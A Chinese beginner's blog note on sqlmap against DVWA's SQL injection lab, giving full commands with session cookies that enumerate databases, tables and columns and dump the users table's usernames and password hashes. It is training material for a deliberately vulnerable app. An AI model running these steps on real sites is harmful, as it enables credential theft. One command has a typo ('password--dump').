【学习笔记】新手5分钟快速体验SQLmap

本文不对繁杂的引言、细节做介绍,直接进入操作过程。更多细节可以参考sqlmap详解

说明:进行实践操作之前,假设你已经搭建好了一套DVWA或其他测试环境。

测试平台:Kali Linux操作系统

测试目标:OWASP BWA平台中的DVWA 的SQL Injection

用到工具:Tamper Data

浏览器:Firefox

下面列出体验将用到的参数、选项说明

测试中用到的参数
-u指定要进行注入的URL
--dbs枚举数据库管理系统所有数据库
-D指定要进行枚举的数据库名(一般在--dbs得到之后)
--tables枚举指定数据库(有-D选项)的所有表
-T指定要进行枚举的表名(--tables之后)
--columns枚举指定表名的列
--dump转储注入返回的信息
cookie注入页面的cookie
-C指定要枚举的列字段名

以具体操作具体化上表的具体作用。

1、检测页面是否存在注入漏洞。

在Firefox浏览器的Tools菜单栏中打开Tamper data,我们在USER ID处随意输入一个值“aa”,Tamper data捕获HTTP有关信息,我们只要cookie值,右键复制。

在终端输入一下指令:

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31'

执行中可能会有让你选择[Y/n]的过程,最终会得到下面关键信息

即该URL中的id参数存在SQL注入点,分别为基于错误的注入点和Union查询的注入点,还给出了数据库版本及Web平台信息。

2、进一步探测数据库名称。

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' --dbs

也就是加上了--dbs参数,探测到如下信息

除了MySQL默认的系统数据库,还有一个名为dvwa的数据库。

3、看看有些什么表

-D参数来指定dvwa数据库,--tables选项进行表枚举。

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables

枚举出表名:[guestbook]和[users],当然是对users的内容更感兴趣。

4、进一步查看users表的字段列表

上一步的基础上使用-T参数指定表名,--columns选项对列表进行枚举

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns

得到表的字段名及数据类型

5、各个字段都是什么内容

使用--dump选项转储字段内容并保存,

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns --dump

达到目标

最终通过SQL注入得到了指定表的各字段具体信息,虽然password字段会被加密,但是在指令执行过程中会询问是否解密。

也许并非所有字段我们都想要,那么可以通过-C选项指定我们想要的列,比如这里我们只要user和password

root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns  -C user,password--dump

这样就筛选出了我们感兴趣的字段内容。

再补充一点就是dvwa平台如果security等级被设置为high的话,直接sql探测会检测不到存在注入点。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值